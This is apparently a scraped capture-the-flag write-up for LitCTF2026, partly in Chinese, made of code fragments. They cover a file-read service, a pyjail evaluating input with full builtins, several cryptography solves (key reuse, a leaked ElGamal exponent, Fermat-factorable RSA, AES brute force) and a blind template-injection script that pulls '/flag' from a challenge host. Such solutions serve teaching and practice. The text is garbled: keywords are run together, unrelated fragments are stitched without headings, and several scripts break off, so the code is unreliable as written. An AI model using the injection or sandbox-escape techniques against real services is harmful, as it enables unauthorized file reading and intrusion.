defsafe_read(path: str) -> str: p = path.strip() # 防御:路径不能为空、不能以 "-" 开头(防止某些命令注入误用)、不能包含空字符 \x00 ifnot p or p.startswith("-") or"\x00"in p: raise ValueError("invalid path") withopen(p, "r", errors="replace") as f: return f.read(MAX_FILE) # 最多读取 4096 个字节,防止大文件撑爆内存
当玩家连接成功后,整个交互流程在 handle 函数中展开,分为以下三个阶段:
1.验证码反转字符串
1 2 3 4 5 6 7
alphabet = string.ascii_uppercase challenge = "".join(secrets.choice(alphabet) for _ inrange(8)) conn.sendall(f"Please enter the reverse of '{challenge}' to continue: ".encode()) ans = recv_line(conn) if ans != challenge[::-1]: conn.sendall(b"Wrong reverse string. Bye.\n") return
逻辑:程序随机生成一个 8 位的大写字母字符串(例如 ABCDEFGH)。
要求:玩家必须在网络端输入这个字符串的反转结果(例如 HGFEDCBA)。如果答错,连接直接断开。
2. 第一步文件读取(寻找 Flag 路径)
1 2 3 4 5 6 7 8
conn.sendall( b"Good.\n" b"Step 1: read /app/where_is_flag.txt (it contains the flag path).\n" b"Step 2: read that path.\n" b"File path (1/2): " ) p1 = recv_line(conn) c1 = safe_read(p1)
defrecv_all(s, timeout=5): s.settimeout(timeout) data = '' whileTrue: try: chunk = s.recv(4096).decode() ifnot chunk: break data += chunk except socket.timeout: break return data
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) data = recv_all(s) print('Received 1:', repr(data)) challenge = data.split("'")[1] ans = challenge[::-1] print('Sending reverse:', ans) s.sendall((ans + '\n').encode()) data = recv_all(s) print('Received 2:', repr(data)) s.sendall(b'/app/where_is_flag.txt\n') data = recv_all(s) print('Received 3:', repr(data)) if'--- begin ---'in data and'--- end ---'in data: content = data.split('--- begin ---')[1].split('--- end ---')[0].strip() print('Flag path:', content) s.sendall((content + '\n').encode()) data = recv_all(s) print('Final result:', repr(data)) else: print('Error: could not find flag path')
defbanned(raw: str) -> bool: if"\\u"in raw or"\\U"in raw or"\\x"in raw: returnTrue return BANNED.search(raw) isnotNone
defhandle(conn: socket.socket) -> None: try: conn.settimeout(60) conn.sendall( b"=== LitCTF pyjail unicode ===\n" b"Send ONE line of Python. It will be eval() with full __builtins__.\n" b"ASCII blacklist applies to your *source text* (see attachment jail.py).\n" b"Goal: read /flag and get its str content.\n> " ) raw = bytearray() whilelen(raw) < MAX_LINE: ch = conn.recv(1) ifnot ch: break if ch == b"\n": break raw += ch line = raw.decode("utf-8", errors="replace").strip() ifnot line: conn.sendall(b"empty\n") return if banned(line): conn.sendall(b"disallowed pattern in source\n") return try: out = eval(line, {"__builtins__": __builtins__}) conn.sendall(repr(out).encode(errors="replace") + b"\n") except Exception as e: conn.sendall(f"{type(e).__name__}: {e}\n".encode(errors="replace")) finally: conn.close()
#!/usr/bin/env python3 """ LitCTF2026 — One-time pad reused for two messages (40 bytes each). Players receive output.txt and README; they do not receive secret.py. """ from __future__ import annotations
import argparse import os from pathlib import Path
try: from secret import M1_FLAG except ImportError: raise SystemExit( "secret.py (organizer) is required to generate ciphertext; " "players work from output.txt only." )
# Public second message — duplicated in README for contestants. M2_KNOWN = b"litctf2026_xor_keystream_reuse_40bytes!!"
assertlen(M1_FLAG) == len(M2_KNOWN) == 40
defxor_bytes(a: bytes, b: bytes) -> bytes: returnbytes(x ^ y for x, y inzip(a, b))
#!/usr/bin/env python3 """ LitCTF2026 — ElGamal handshake (story) Someone left debug logging on; the private exponent x was printed alongside ciphertext. """ from __future__ import annotations
import argparse from pathlib import Path from random import randrange
from Crypto.Util.number import bytes_to_long, getPrime, getRandomRange
try: from secret import FLAG except ImportError as e: raise SystemExit("secret.py (FLAG) is required to encrypt.") from e
defgenerate_elgamal_keypair(bits: int = 512) -> tuple[int, int, int, int]: p = getPrime(bits) for _ inrange(1000): g = getRandomRange(2, min(6, p - 1)) ifpow(g, (p - 1) // 2, p) != 1: break else: raise RuntimeError("could not find suitable g") x = randrange(2, p - 1) y = pow(g, x, p) return p, g, y, x
p, g, y, x = generate_elgamal_keypair(bits=512) k = randrange(1, p - 2) m = bytes_to_long(FLAG) if m >= p: raise ValueError("flag too large for chosen p — shorten FLAG")
# === Public key (p, g, y) === # p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651 # g = 3 # y = 269130883529708333054320571854006406481346665463416017026083074488011546059928157925990665431751017523964760326934454181952822744463714981243407307134357
p = 9000784855376359808051354825193962042770028561343848432778443672755982397391267124312572697249531643069409873722736348916207732622884411596948807031140651
x = 633366293219022684108628483753423657477324253833657141033762971761747669344649667887002347907882241246119223126492863291886751205505360049793728851371884
#!/usr/bin/env python3 """ LitCTF2026 — RSA where q is 'far' along the prime line but still close enough to p for Fermat. """ from __future__ import annotations
import argparse from pathlib import Path
import gmpy2 from Crypto.Util.number import bytes_to_long, getPrime
try: from secret import FLAG, NEXT_PRIME_STEPS except ImportError as e: raise SystemExit( "secret.py is required to generate output (FLAG, NEXT_PRIME_STEPS)." ) from e
E = 65537
defmain() -> None: parser = argparse.ArgumentParser() parser.add_argument( "--write", type=Path, help="Write n, c to this file.", ) args = parser.parse_args()
p = getPrime(512) q = p for _ inrange(NEXT_PRIME_STEPS): q = int(gmpy2.next_prime(q))
n = p * q m = bytes_to_long(FLAG) if m >= n: raise ValueError("flag too large for n")
# n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911 # c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429 # e = 65537
from Crypto.Util.number import long_to_bytes from math import isqrt
n = 139637440016232025690294457609899605991056011052010466558411851317943636600860419882966079629826706361935550982744312593243181819999590825159611186779613601241742349986440676188542381451066058816661317621009248513651083772907520139375108426466691332559612971244160246310746215067136490772061317571744230078911
c = 81172369642931859390486697024961350889751244109623802937988620847486863147682579984823958801948701482096140632580173113959531836503723522945335985723867818778699337807630592078265626995722998378992215523352858561923474395550395284015986525513984910021995657780411466237306614109262460764382539311725297619429
e = 65537
# Fermat Factorization a = isqrt(n) if a * a < n: a += 1
#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad
KEY_PREFIX = b"LitCTF2026!!!"
c = b"\x0c\xdb'`\xc91\xf7\x05\x91+\x0fM\xed\xbc\x9b\xf1\xd8D\xcd\xfd\x0c\xb9\xb6\xb2J<\x86\x19\x06K\xb3\xa2\xa4\x18\x87<v\xac\x1bbu#\xaa\xb5I\x7f\xd8\xd3"
defis_likely_flag(pt: bytes) -> bool: return ( pt.startswith(b"litctf{") or pt.startswith(b"LitCTF{") or pt.startswith(b"flag{") )
for i inrange(256 ** 3): suffix = i.to_bytes(3, "big") key = KEY_PREFIX + suffix
alphabet = "2KuEphj84USZF67iloxzfYd+MrDgRG9yLwBnHAXcJq3eCN/s1bOQ5TvPa0tVkWmI" target = "zjA5lToj9PUAGn2O+v6TRPosgYWB6noyGjhBgjfwyl==" table = {c: i for i, c in enumerate(alphabet)} out = bytearray() for i in range(0, len(target), 4): chunk = target[i:i+4] vals = [] pad = chunk.count('=') for ch in chunk: if ch == '=': vals.append(0) else: vals.append(table[ch]) n = ( (vals[0] << 18) | (vals[1] << 12) | (vals[2] << 6) | vals[3] ) out.append((n >> 16) & 0xff) if pad < 2: out.append((n >> 8) & 0xff) if pad < 1: out.append(n & 0xff) print(out.decode())
import urllib.parse import urllib.request import re import html
url = "http://challenge.cyclens.tech:31533/"
defquery(expr): tpl = f"% if {expr}:\nY\n% endif" data = urllib.parse.urlencode({"tpl": tpl}).encode()
req = urllib.request.Request(url, data=data, method="POST") with urllib.request.urlopen(req, timeout=10) as r: text = r.read().decode("utf-8", "replace")
m = re.search(r'<pre id="out">(.*?)</pre>', text, re.S) out = html.unescape(m.group(1).strip()) if m else""
if out == "WAF": raise RuntimeError("WAF: " + expr)
return out == "Y"
s = "getattr(open('/f'+'lag'),'read')()" flag = ""
for i inrange(200): ifnot query(f"len({s})>{i}"): break
lo, hi = 0, 127 while lo < hi: mid = (lo + hi) // 2 expr = f"ord(getattr({s},'__getitem__')({i}))>{mid}" if query(expr): lo = mid + 1 else: hi = mid